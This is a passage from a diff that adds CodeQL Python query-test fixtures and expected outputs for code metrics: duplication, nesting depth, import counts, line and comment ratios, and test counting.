= [ Alias(a.name, a.asname) for a in node.names] + yield FromImport(node.level, node.module, aliases, flags()) + elif isinstance(node, ast.Import): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield Import(aliases, flags()) + elif isinstance(node, ast.FunctionDef): + for _, child in ast.iter_fields(node): + for import_node in walk(child, True, in_name_main): + yield import_node + return list(walk(the_ast, False, False)) + +def similar_2(the_ast): + def walk(node, in_function, in_name_main): + def flags(): + return in_function * 2 + in_name_main + if isinstance(node, ast.Module): + for import_node in walk(node.body, in_function, in_name_main): + yield import_node + elif isinstance(node, ast.Import): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield Import(aliases, flags()) + elif isinstance(node, ast.FunctionDef): + for _, child in ast.iter_fields(node): + for import_node in walk(child, True, in_name_main): + yield import_node + elif isinstance(node, list): + for n in node: + for import_node in walk(n, in_function, in_name_main): + yield import_node + return list(walk(the_ast, False, False)) diff --git a/python/ql/test/query-tests/Metrics/duplicate/with_import1.py b/python/ql/test/query-tests/Metrics/duplicate/with_import1.py new file mode 100644 index 00000000000..e6fa77a005f --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/with_import1.py @@ -0,0 +1,37 @@ +import a +import b +import c +import d +import e +import f + +# Colours +if platform.system() == 'Windows': + col_default = 0x07 + col_red = 0x0C + col_green = 0x0A +else: + col_default = '\033[0m' + col_red = '\033[91m' + col_green = '\033[92m' +col_current = None + +def set_text_colour(col): + global col_current + if col_current is None or col_current != col: + if not sys.stdout.isatty(): + pass # not on a terminal (e.g. output is being piped to file) + elif (platform.system() == 'Windows'): + # set the text colour using the Win32 API + handle = ctypes.windll.kernel32.GetStdHandle(-11) # STD_OUTPUT_HANDLE + ctypes.windll.kernel32.SetConsoleTextAttribute(handle, col) + else: + # set the text colour using a character code + sys.stdout.write(col) + col_current = col + +def report(text, col = col_default): + set_text_colour(col) + print(text) + set_text_colour(col_default) + diff --git a/python/ql/test/query-tests/Metrics/duplicate/with_import2.py b/python/ql/test/query-tests/Metrics/duplicate/with_import2.py new file mode 100644 index 00000000000..e6fa77a005f --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/with_import2.py @@ -0,0 +1,37 @@ +import a +import b +import c +import d +import e +import f + +# Colours +if platform.system() == 'Windows': + col_default = 0x07 + col_red = 0x0C + col_green = 0x0A +else: + col_default = '\033[0m' + col_red = '\033[91m' + col_green = '\033[92m' +col_current = None + +def set_text_colour(col): + global col_current + if col_current is None or col_current != col: + if not sys.stdout.isatty(): + pass # not on a terminal (e.g. output is being piped to file) + elif (platform.system() == 'Windows'): + # set the text colour using the Win32 API + handle = ctypes.windll.kernel32.GetStdHandle(-11) # STD_OUTPUT_HANDLE + ctypes.windll.kernel32.SetConsoleTextAttribute(handle, col) + else: + # set the text colour using a character code + sys.stdout.write(col) + col_current = col + +def report(text, col = col_default): + set_text_colour(col) + print(text) + set_text_colour(col_default) + diff --git a/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.expected b/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.expected new file mode 100644 index 00000000000..1eb36f9f4e2 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.expected @@ -0,0 +1,9 @@ +| test.py:20:1:20:12 | Function f4 | 4 | +| test.py:50:5:50:23 | Function f4 | 4 | +| test.py:13:1:13:13 | Function f3 | 3 | +| test.py:43:5:43:23 | Function f3 | 3 | +| test.py:5:1:5:16 | Function f2 | 2 | +| test.py:35:5:35:23 | Function f2 | 2 | +| test.py:60:1:60:8 | Function g | 2 | +| test.py:2:1:2:9 | Function f1 | 1 | +| test.py:32:5:32:17 | Function f1 | 1 | diff --git a/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref b/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref new file mode 100644 index 00000000000..797f223792f --- /dev/null +++ b/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref @@ -0,0 +1 @@ +Metrics/FunctionStatementNestingDepth.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/functions/test.py b/python/ql/test/query-tests/Metrics/functions/test.py new file mode 100644 index 00000000000..ebb4c9fdfdc --- /dev/null +++ b/python/ql/test/query-tests/Metrics/functions/test.py @@ -0,0 +1,63 @@ + +def f1(): + pass + +def f2(x, y, z): + if x: + pass + elif y: + yield 0 + elif z: + raise z + +def f3(a, b): + if a: + pass + else: + if b: + return 0 + +def f4(a,b): + while True: + if a: + pass + elif b: + try: + call() + except: + raise + +class C: + + def f1(self): + pass + + def f2(self, x, y): + if x: + pass + elif y: + yield 0 + elif z: + raise z + + def f3(self, a, b): + if a: + pass + else: + if b: + return 0 + + def f4(self, a, b): + while True: + if a: + pass + elif b: + try: + call() + except: + raise + +def g(): + if x: a if y else b + + diff --git a/python/ql/test/query-tests/Metrics/imports/DirectImports.expected b/python/ql/test/query-tests/Metrics/imports/DirectImports.expected new file mode 100644 index 00000000000..dd6236a1e0a --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/DirectImports.expected @@ -0,0 +1,5 @@ +| entry.py:0:0:0:0 | Module entry | 2 | +| module1.py:0:0:0:0 | Module module1 | 1 | +| module2.py:0:0:0:0 | Module module2 | 2 | +| module3.py:0:0:0:0 | Module module3 | 1 | +| module4.py:0:0:0:0 | Module module4 | 0 | diff --git a/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref b/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref new file mode 100644 index 00000000000..84fe2dc5805 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref @@ -0,0 +1 @@ +Metrics/DirectImports.ql diff --git a/python/ql/test/query-tests/Metrics/imports/TransitiveImports.expected b/python/ql/test/query-tests/Metrics/imports/TransitiveImports.expected new file mode 100644 index 00000000000..fa9d79a6e78 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/TransitiveImports.expected @@ -0,0 +1,5 @@ +| entry.py:0:0:0:0 | Module entry | 4 | +| module1.py:0:0:0:0 | Module module1 | 3 | +| module2.py:0:0:0:0 | Module module2 | 2 | +| module3.py:0:0:0:0 | Module module3 | 1 | +| module4.py:0:0:0:0 | Module module4 | 0 | diff --git a/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref b/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref new file mode 100644 index 00000000000..1bacdce45c2 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref @@ -0,0 +1 @@ +Metrics/TransitiveImports.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/imports/entry.py b/python/ql/test/query-tests/Metrics/imports/entry.py new file mode 100644 index 00000000000..b2477d61fe2 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/entry.py @@ -0,0 +1,2 @@ +import module1 +import module2 \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/imports/module1.py b/python/ql/test/query-tests/Metrics/imports/module1.py new file mode 100644 index 00000000000..1d4ff55ce87 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/module1.py @@ -0,0 +1 @@ +import module2 diff --git a/python/ql/test/query-tests/Metrics/imports/module2.py b/python/ql/test/query-tests/Metrics/imports/module2.py new file mode 100644 index 00000000000..6542b8234f5 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/module2.py @@ -0,0 +1,2 @@ +import module3 +import module4 diff --git a/python/ql/test/query-tests/Metrics/imports/module3.py b/python/ql/test/query-tests/Metrics/imports/module3.py new file mode 100644 index 00000000000..285f88ecdb3 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/imports/module3.py @@ -0,0 +1 @@ +import module4 \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/imports/module4.py b/python/ql/test/query-tests/Metrics/imports/module4.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Metrics/lines/CommentRatio.expected b/python/ql/test/query-tests/Metrics/lines/CommentRatio.expected new file mode 100644 index 00000000000..068a7d0c594 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/lines/CommentRatio.expected @@ -0,0 +1 @@ +| lines.py:0:0:0:0 | Module lines | 15.0 | diff --git a/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref b/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref new file mode 100644 index 00000000000..9c3179ac503 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref @@ -0,0 +1 @@ +Metrics/CommentRatio.ql diff --git a/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.expected b/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.expected new file mode 100644 index 00000000000..d01931b5a0f --- /dev/null +++ b/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.expected @@ -0,0 +1 @@ +| lines.py:0:0:0:0 | Module lines | 750 | diff --git a/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref b/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref new file mode 100644 index 00000000000..2ac69b8f67a --- /dev/null +++ b/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref @@ -0,0 +1 @@ +Metrics/FLinesOfCode.ql diff --git a/python/ql/test/query-tests/Metrics/lines/lines.py b/python/ql/test/query-tests/Metrics/lines/lines.py new file mode 100644 index 00000000000..81d922e84d3 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/lines/lines.py @@ -0,0 +1,1200 @@ +line = 1 + +line = 2 +line = 3 + +line = 4 +line = 5 +line = 6 +line = 7 + +line = 8 +line = 9 + + +line = 10 +line = 11 +line = 12 + +line = 13 +#comment 1 +line = 14 +line = 15 +line = 16 +line = 17 + +line = 18 +line = 19 +line = 20 +line = 21 +line = 22 +#comment 2 +#comment 3 +#comment 4 + +line = 23 +line = 24 +line = 25 +line = 26 + +line = 27 +line = 28 +line = 29 +line = 30 +line = 31 +line = 32 +#comment 5 +line = 33 +line = 34 +line = 35 + +line = 36 + + +line = 37 +line = 38 +line = 39 +#comment 6 +line = 40 +line = 41 + + +line = 42 +line = 43 + +line = 44 +#comment 7 +line = 45 +#comment 8 + +line = 46 +line = 47 +line = 48 + +line = 49 +line = 50 +line = 51 +line = 52 +line = 53 +#comment 9 +line = 54 +line = 55 +line = 56 +line = 57 +line = 58 +#comment 10 +line = 59 +#comment 11 + +#comment 12 +line = 60 +line = 61 +#comment 13 +line = 62 +line = 63 +#comment 14 +line = 64 +line = 65 +line = 66 +#comment 15 +#comment 16 +line = 67 +#comment 17 + +line = 68 +line = 69 +line = 70 +line = 71 +line = 72 +line = 73 +#comment 18 +line = 74 + +line = 75 +#comment 19 +#comment 20 +line = 76 +line = 77 +#comment 21 +line = 78 +line = 79 +line = 80 + +line = 81 +line = 82 +line = 83 +#comment 22 +line = 84 +line = 85 +#comment 23 +line = 86 +#comment 24 +line = 87 +#comment 25 +line = 88 +line = 89 +#comment 26 +line = 90 + +line = 91 +line = 92 +line = 93 +line = 94 +line = 95 +#comment 27 +#comment 28 +#comment 29 +line = 96 +line = 97 +#comment 30 +line = 98 +line = 99 +line = 100 +line = 101 +line = 102 + +line = 103 +line = 104 + +line = 105 +line = 106 +line = 107 + + +line = 108 +line = 109 + +line = 110 +#comment 31 +line = 111 +line = 112 +line = 113 + +line = 114 +line = 115 + +line = 116 +#comment 32 +line = 117 + +line = 118 +line = 119 + +line = 120 +line = 121 +line = 122 +line = 123 +line = 124 +line = 125 + +#comment 33 + +#comment 34 + +line = 126 +line = 127 + +line = 128 +line = 129 + +line = 130 +line = 131 + +line = 132 + +line = 133 +line = 134 +line = 135 +#comment 35 +line = 136 +#comment 36 + + +#comment 37 +#comment 38 +line = 137 +line = 138 +line = 139 +line = 140 +line = 141 +line = 142 +line = 143 +line = 144 +line = 145 +line = 146 +line = 147 +line = 148 +line = 149 +line = 150 + + +line = 151 + +line = 152 +line = 153 +line = 154 +line = 155 + +#comment 39 +#comment 40 + +line = 156 +line = 157 +line = 158 +#comment 41 +line = 159 + +line = 160 +line = 161 +line = 162 + +#comment 42 +line = 163 +line = 164 +#comment 43 +line = 165 +line = 166 +line = 167 + +line = 168 +line = 169 +line = 170 +#comment 44 +line = 171 +line = 172 + + +line = 173 +line = 174 + +line = 175 + +#comment 45 +line = 176 + +#comment 46 +line = 177 +line = 178 + +line = 179 +line = 180 +#comment 47 + +line = 181 +line = 182 + +line = 183 +#comment 48 +line = 184 +line = 185 +line = 186 +line = 187 +line = 188 +line = 189 +line = 190 + +line = 191 + +line = 192 +line = 193 +#comment 49 +line = 194 +line = 195 +#comment 50 +line = 196 +line = 197 + +line = 198 +line = 199 +line = 200 + + + + +line = 201 +#comment 51 +line = 202 +line = 203 +line = 204 + +line = 205 + +#comment 52 +line = 206 +line = 207 +line = 208 +line = 209 +#comment 53 +line = 210 +line = 211 + +line = 212 +line = 213 +#comment 54 +line = 214 +line = 215 +line = 216 +line = 217 +#comment 55 +line = 218 + +line = 219 +line = 220 + +line = 221 + +line = 222 +line = 223 +line = 224 +line = 225 +line = 226 + + +line = 227 +line = 228 +line = 229 + +line = 230 +line = 231 + + +line = 232 + +line = 233 + +line = 234 + + +line = 235 +line = 236 +line = 237 +line = 238 +line = 239 + +line = 240 +line = 241 +#comment 56 +line = 242 +line = 243 +line = 244 +#comment 57 +line = 245 + +line = 246 + +line = 247 + +line = 248 +line = 249 + +line = 250 +line = 251 +line = 252 +line = 253 +line = 254 + +line = 255 + +line = 256 +#comment 58 +line = 257 +line = 258 +line = 259 +line = 260 +line = 261 +line = 262 +line = 263 +line = 264 +line = 265 +line = 266 +line = 267 +line = 268 +line = 269 +line = 270 + + + +#comment 59 + +line = 271 +#comment 60 +line = 272 + +line = 273 +line = 274 + + +line = 275 +line = 276 +line = 277 +#comment 61 +#comment 62 +line = 278 +line = 279 +#comment 63 +line = 280 +line = 281 +line = 282 + +line = 283 +line = 284 +line = 285 + +#comment 64 +line = 286 + + +line = 287 +line = 288 + +line = 289 +#comment 65 +line = 290 +line = 291 +line = 292 +line = 293 +line = 294 +line = 295 +#comment 66 + +#comment 67 + +line = 296 +line = 297 + +line = 298 +line = 299 +#comment 68 +line = 300 +line = 301 +line = 302 +#comment 69 + +line = 303 +line = 304 +line = 305 +line = 306 +line = 307 +line = 308 +line = 309 +line = 310 +line = 311 +line = 312 +line = 313 +line = 314 + +#comment 70 +#comment 71 +line = 315 + +line = 316 + +line = 317 +line = 318 + +line = 319 +line = 320 +line = 321 +line = 322 + +line = 323 + +line = 324 + +line = 325 +line = 326 +line = 327 +line = 328 +line = 329 +#comment 72 + + + +line = 330 +line = 331 + +line = 332 +line = 333 + +line = 334 + +line = 335 +#comment 73 +line = 336 +line = 337 +line = 338 +#comment 74 +line = 339 +line = 340 +#comment 75 + +line = 341 +line = 342 +line = 343 +line = 344 +#comment 76 +#comment 77 + +#comment 78 +#comment 79 +line = 345 +line = 346 +line = 347 +line = 348 +#comment 80 +line = 349 +line = 350 +line = 351 +#comment 81 +line = 352 +line = 353 +#comment 82 +#comment 83 + +line = 354 + +line = 355 +line = 356 + +line = 357 + + +line = 358 +line = 359 +line = 360 + +line = 361 +line = 362 + +line = 363 +#comment 84 +line = 364 +line = 365 +line = 366 +line = 367 + + +line = 368 +line = 369 +line = 370 + +#comment 85 +line = 371 +line = 372 +line = 373 +line = 374 +line = 375 + +line = 376 +line = 377 +line = 378 +#comment 86 +#comment 87 +#comment 88 +line = 379 + +line = 380 +line = 381 + + +line = 382 +line = 383 +line = 384 +line = 385 + +line = 386 +#comment 89 +line = 387 +line = 388 +#comment 90 +line = 389 +line = 390 +line = 391 + + +line = 392 +line = 393 +line = 394 +line = 395 + +line = 396 +line = 397 + + +#comment 91 +line = 398 +line = 399 +line = 400 +line = 401 + +#comment 92 +line = 402 +line = 403 +line = 404 +line = 405 + +line = 406 + + +#comment 93 +line = 407 +line = 408 +#comment 94 +line = 409 +line = 410 + + +#comment 95 +#comment 96 +#comment 97 +line = 411 +line = 412 +line = 413 + +line = 414 +line = 415 +line = 416 +line = 417 + +line = 418 +line = 419 +#comment 98 +line = 420 +line = 421 + +#comment 99 +line = 422 + + +line = 423 + +line = 424 +line = 425 +line = 426 +#comment 100 +line = 427 + + +line = 428 +line = 429 +line = 430 +line = 431 + +line = 432 +line = 433 + +line = 434 +line = 435 +line = 436 + +line = 437 +#comment 101 +#comment 102 +line = 438 +line = 439 +line = 440 +line = 441 + +line = 442 + +line = 443 +line = 444 +line = 445 + +#comment 103 +line = 446 +line = 447 + +line = 448 + +line = 449 + +line = 450 +line = 451 +line = 452 +line = 453 +line = 454 +line = 455 +line = 456 +line = 457 + + +#comment 104 +line = 458 +#comment 105 +line = 459 +line = 460 +#comment 106 +#comment 107 +line = 461 +#comment 108 +#comment 109 +line = 462 +line = 463 +line = 464 +#comment 110 +line = 465 +line = 466 +line = 467 +line = 468 +line = 469 +#comment 111 +line = 470 +line = 471 + +line = 472 + +line = 473 + + +line = 474 +line = 475 +line = 476 +line = 477 + +line = 478 +line = 479 + + +line = 480 + +line = 481 +line = 482 + +line = 483 +line = 484 +line = 485 +line = 486 +line = 487 +line = 488 +#comment 112 +#comment 113 +line = 489 +line = 490 +line = 491 +#comment 114 +line = 492 +line = 493 +line = 494 +#comment 115 +line = 495 +line = 496 +line = 497 + +line = 498 + +line = 499 + +line = 500 +line = 501 +#comment 116 + + +#comment 117 +#comment 118 +#comment 119 +line = 502 +line = 503 +line = 504 +line = 505 +line = 506 + +line = 507 +line = 508 +line = 509 + +line = 510 +#comment 120 +line = 511 + +#comment 121 +#comment 122 +#comment 123 + +#comment 124 +line = 512 +line = 513 +line = 514 +line = 515 +line = 516 +line = 517 + + + +line = 518 +line = 519 +line = 520 +line = 521 +line = 522 +line = 523 + +#comment 125 +line = 524 +line = 525 +line = 526 +line = 527 + +#comment 126 +line = 528 +line = 529 +#comment 127 + + +line = 530 +line = 531 +#comment 128 + +line = 532 + +#comment 129 +line = 533 + +line = 534 +line = 535 +line = 536 +line = 537 +line = 538 + + +line = 539 +line = 540 +line = 541 +line = 542 +line = 543 +line = 544 +line = 545 + +line = 546 +line = 547 +#comment 130 +line = 548 +line = 549 + +line = 550 + +line = 551 +line = 552 +line = 553 +line = 554 +line = 555 +line = 556 +line = 557 +line = 558 +line = 559 +line = 560 +line = 561 +line = 562 +line = 563 +line = 564 +line = 565 + +#comment 131 +line = 566 +line = 567 +line = 568 +line = 569 + +line = 570 +line = 571 + +line = 572 + +line = 573 +line = 574 + +line = 575 +#comment 132 +line = 576 +line = 577 +line = 578 +line = 579 + +line = 580 +line = 581 +line = 582 + +line = 583 +line = 584 + +line = 585 +line = 586 + + + +line = 587 + +line = 588 +line = 589 + +line = 590 +line = 591 +line = 592 +#comment 133 +#comment 134 +line = 593 +#comment 135 + +line = 594 + +line = 595 +#comment 136 +line = 596 +line = 597 +line = 598 + + +line = 599 +line = 600 +#comment 137 +line = 601 + +line = 602 +line = 603 + +#comment 138 + +line = 604 +line = 605 +line = 606 +line = 607 +line = 608 +line = 609 +line = 610 + + + +line = 611 +line = 612 +line = 613 +line = 614 +line = 615 +#comment 139 +#comment 140 +line = 616 +line = 617 + + +#comment 141 +line = 618 +line = 619 +line = 620 +line = 621 +line = 622 +line = 623 +line = 624 +line = 625 +line = 626 + +line = 627 + +line = 628 +line = 629 +line = 630 +line = 631 +line = 632 + +line = 633 + +line = 634 +line = 635 +line = 636 +line = 637 +line = 638 +line = 639 +line = 640 + +#comment 142 + +line = 641 + +#comment 143 + +line = 642 +line = 643 +line = 644 + + +line = 645 + +line = 646 +#comment 144 + +line = 647 +line = 648 +line = 649 +line = 650 +line = 651 +line = 652 +#comment 145 +line = 653 +line = 654 +line = 655 +line = 656 +line = 657 +line = 658 +line = 659 + + +line = 660 + +#comment 146 + +line = 661 + +#comment 147 +line = 662 +#comment 148 +line = 663 + +line = 664 + + +line = 665 +line = 666 +line = 667 + + +line = 668 +line = 669 +line = 670 + +line = 671 +line = 672 +#comment 149 +#comment 150 +line = 673 +line = 674 +line = 675 +line = 676 +#comment 151 +line = 677 +line = 678 + +line = 679 +line = 680 +line = 681 + +line = 682 +line = 683 +line = 684 + +#comment 152 +line = 685 +line = 686 +line = 687 +line = 688 +line = 689 +line = 690 +line = 691 + +line = 692 + +#comment 153 + +line = 693 + +#comment 154 + +line = 694 +line = 695 +line = 696 +#comment 155 +line = 697 +line = 698 +#comment 156 +line = 699 +line = 700 +#comment 157 + + +#comment 158 +line = 701 + + +#comment 159 +line = 702 +line = 703 + +line = 704 +#comment 160 +line = 705 +#comment 161 + +line = 706 +line = 707 +line = 708 +line = 709 +line = 710 +#comment 162 +line = 711 + +line = 712 +line = 713 +line = 714 +#comment 163 +line = 715 + +line = 716 + +#comment 164 +#comment 165 +line = 717 +#comment 166 +line = 718 +line = 719 + +line = 720 +line = 721 +line = 722 + + +line = 723 +#comment 167 +#comment 168 +line = 724 +line = 725 +line = 726 +line = 727 +line = 728 + +#comment 169 +#comment 170 + +line = 729 +line = 730 + +line = 731 +line = 732 +#comment 171 +line = 733 +#comment 172 + +line = 734 + +line = 735 +line = 736 +line = 737 +line = 738 +line = 739 +line = 740 +line = 741 +line = 742 +line = 743 + +line = 744 +line = 745 +line = 746 +#comment 173 +line = 747 +#comment 174 +#comment 175 + +#comment 176 +line = 748 +line = 749 +line = 750 +#comment 177 +#comment 178 +#comment 179 + +#comment 180 -- Exactly 1200 lines diff --git a/python/ql/test/query-tests/Metrics/ratios/CodeRatio.expected b/python/ql/test/query-tests/Metrics/ratios/CodeRatio.expected new file mode 100644 index 00000000000..0c5d498b00d --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/CodeRatio.expected @@ -0,0 +1 @@ +| doc_string.py:0:0:0:0 | Module doc_string | 24.0 | diff --git a/python/ql/test/query-tests/Metrics/ratios/CodeRatio.ql b/python/ql/test/query-tests/Metrics/ratios/CodeRatio.ql new file mode 100644 index 00000000000..545453e93eb --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/CodeRatio.ql @@ -0,0 +1,7 @@ + +import python + +from Module m, ModuleMetrics mm +where mm = m.getMetrics() and mm.getNumberOfLines() > 0 +select m, 100.0 * ((float)mm.getNumberOfLinesOfCode() / (float)mm.getNumberOfLines()) as ratio +order by ratio desc \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/ratios/CommentRatio.expected b/python/ql/test/query-tests/Metrics/ratios/CommentRatio.expected new file mode 100644 index 00000000000..43c2bcf7c11 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/CommentRatio.expected @@ -0,0 +1 @@ +| doc_string.py:0:0:0:0 | Module doc_string | 12.0 | diff --git a/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref b/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref new file mode 100644 index 00000000000..dc273e16982 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref @@ -0,0 +1 @@ +Metrics/CommentRatio.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.expected b/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.expected new file mode 100644 index 00000000000..76e6e095d63 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.expected @@ -0,0 +1 @@ +| doc_string.py:0:0:0:0 | Module doc_string | 50.0 | diff --git a/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref b/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref new file mode 100644 index 00000000000..ec66c5cdc83 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref @@ -0,0 +1 @@ +Metrics/DocStringRatio.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/ratios/doc_string.py b/python/ql/test/query-tests/Metrics/ratios/doc_string.py new file mode 100644 index 00000000000..13fe12c5f2d --- /dev/null +++ b/python/ql/test/query-tests/Metrics/ratios/doc_string.py @@ -0,0 +1,50 @@ +''' +A long docstring... + +The Zen of Python, by Tim Peters + +Beautiful is better than ugly. +Explicit is better than implicit. +Simple is better than complex. +Complex is better than complicated. +Flat is better than nested. +Sparse is better than dense. +Readability counts. +Special cases aren't special enough to break the rules. +Although practicality beats purity. +Errors should never pass silently. +Unless explicitly silenced. +In the face of ambiguity, refuse the temptation to guess. +There should be one-- and preferably only one --obvious way to do it. +Although that way may not be obvious at first unless you're Dutch. +Now is better than never. +Although never is often better than *right* now. +If the implementation is hard to explain, it's a bad idea. +If the implementation is easy to explain, it may be a good idea. +Namespaces are one honking great idea -- let's do more of those! +''' + +#25 lines of docstring in a 50 line module: 50% +#12 lines of code in a 50 line module: 24% +#6 lines of comment in a 50 line module: 12% + +#And some code +import nonexistent + +def function(): + meaning_of_life = 42 + return meaning_of_life + +class C: + + def __init__(self): + stuff() + more_stuff() + yet_more_stuff() + #Pointless return + return + + def m(self): + pass + +# A comment on the last line diff --git a/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.expected b/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.expected new file mode 100644 index 00000000000..a786f642391 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.expected @@ -0,0 +1 @@ +| test.py:0:0:0:0 | test.py | 4 | diff --git a/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref b/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref new file mode 100644 index 00000000000..e7301c3b230 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref @@ -0,0 +1 @@ +Metrics/FNumberOfTests.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/tests/pytest.py b/python/ql/test/query-tests/Metrics/tests/pytest.py new file mode 100644 index 00000000000..680efc88e4b --- /dev/null +++ b/python/ql/test/query-tests/Metrics/tests/pytest.py @@ -0,0 +1,3 @@ +""" +Fake pytest module +""" \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/tests/test.py b/python/ql/test/query-tests/Metrics/tests/test.py new file mode 100644 index 00000000000..24c00456afe --- /dev/null +++ b/python/ql/test/query-tests/Metrics/tests/test.py @@ -0,0 +1,36 @@ + +class Test: + + def setUp(self): + pass + + def tearDown(self): + pass + + def test_1(self): + pass + + def test_2(self): + pass + + def test_3(self): + pass + + +import pytest + +def test_something(x): + pass + + +def with_doctest(): + ''' + >>> 1 + 1 + 2 + + >>> 1 * 1 + 1 + ''' + +def without_doctest(): + pass \ No newline at end of file diff --git a/python/ql/test/query-tests/Resources/Dataflow.expected b/python/ql/test/query-tests/Resources/Dataflow.expected new file mode 100644 index 00000000000..ed7be1b3600 --- /dev/null +++ b/python/ql/test/query-tests/Resources/Dataflow.expected @@ -0,0 +1,119 @@ +| f1_0 = open() | open | | +| f1_1 = MethodCallsiteRefinement(f1_0) | open | | +| f1_2 = MethodCallsiteRefinement(f1_1) | closed | exit | +| f2_0 = open() | open | exit | +| f3_0 = open() | open | | +| f3_1 = MethodCallsiteRefinement(f3_0) | closed | exit | +| f4_0 = with | closed | | +| f4_1 = MethodCallsiteRefinement(f4_0) | closed | exit | +| f5_0 = open() | open | | +| f5_1 = MethodCallsiteRefinement(f5_0) | open | | +| f5_2 = MethodCallsiteRefinement(f5_1) | closed | exit | +| f5_3 = phi(f5_0, f5_1) | open | | +| f6_0 = None | closed | | +| f6_1 = open() | open | | +| f6_2 = MethodCallsiteRefinement(f6_1) | open | | +| f6_3 = phi(f6_0, f6_1, f6_2) | open | | +| f6_4 = SingleSuccessorGuard(f6_3) [true] | open | | +| f6_5 = Pi(f6_2) [true] | open | | +| f6_6 = MethodCallsiteRefinement(f6_5) | closed | | +| f6_7 = Pi(f6_2) [false] | closed | | +| f6_8 = phi(f6_6, f6_7) | closed | exit | +| f7_0 = None | closed | | +| f7_1 = open() | open | | +| f7_2 = MethodCallsiteRefinement(f7_1) | open | | +| f7_3 = phi(f7_0, f7_1, f7_2) | open | | +| f7_4 = SingleSuccessorGuard(f7_3) [true] | open | | +| f7_5 = Pi(f7_2) [true] | open | | +| f7_6 = MethodCallsiteRefinement(f7_5) | closed | | +| f7_7 = Pi(f7_2) [false] | closed | | +| f7_8 = phi(f7_6, f7_7) | closed | exit | +| f8_0 = None | closed | | +| f8_1 = open() | open | | +| f8_2 = MethodCallsiteRefinement(f8_1) | open | | +| f8_3 = phi(f8_0, f8_1, f8_2) | open | | +| f8_4 = SingleSuccessorGuard(f8_3) [true] | open | | +| f8_5 = Pi(f8_2) [true] | closed | | +| f8_6 = MethodCallsiteRefinement(f8_5) | closed | | +| f8_7 = Pi(f8_2) [false] | open | | +| f8_8 = phi(f8_6, f8_7) | open | exit | +| f9_0 = None | closed | | +| f9_1 = open() | open | | +| f9_2 = MethodCallsiteRefinement(f9_1) | open | | +| f9_3 = phi(f9_0, f9_1, f9_2) | open | | +| f9_4 = SingleSuccessorGuard(f9_3) [true] | open | | +| f9_5 = Pi(f9_2) [true] | closed | | +| f9_6 = MethodCallsiteRefinement(f9_5) | closed | | +| f9_7 = Pi(f9_2) [false] | open | | +| f9_8 = phi(f9_6, f9_7) | open | exit | +| f10_0 = open() | open | | +| f10_1 = MethodCallsiteRefinement(f10_0) | open | | +| f10_2 = MethodCallsiteRefinement(f10_1) | open | | +| f10_3 = MethodCallsiteRefinement(f10_2) | closed | | +| f10_4 = phi(f10_0, f10_1, f10_2, f10_3) | open | | +| f10_5 = MethodCallsiteRefinement(f10_4) | closed | | +| f10_6 = phi(f10_3, f10_5) | closed | exit | +| f11_0 = open() | open | | +| f11_1 = MethodCallsiteRefinement(f11_0) | open | | +| f11_2 = 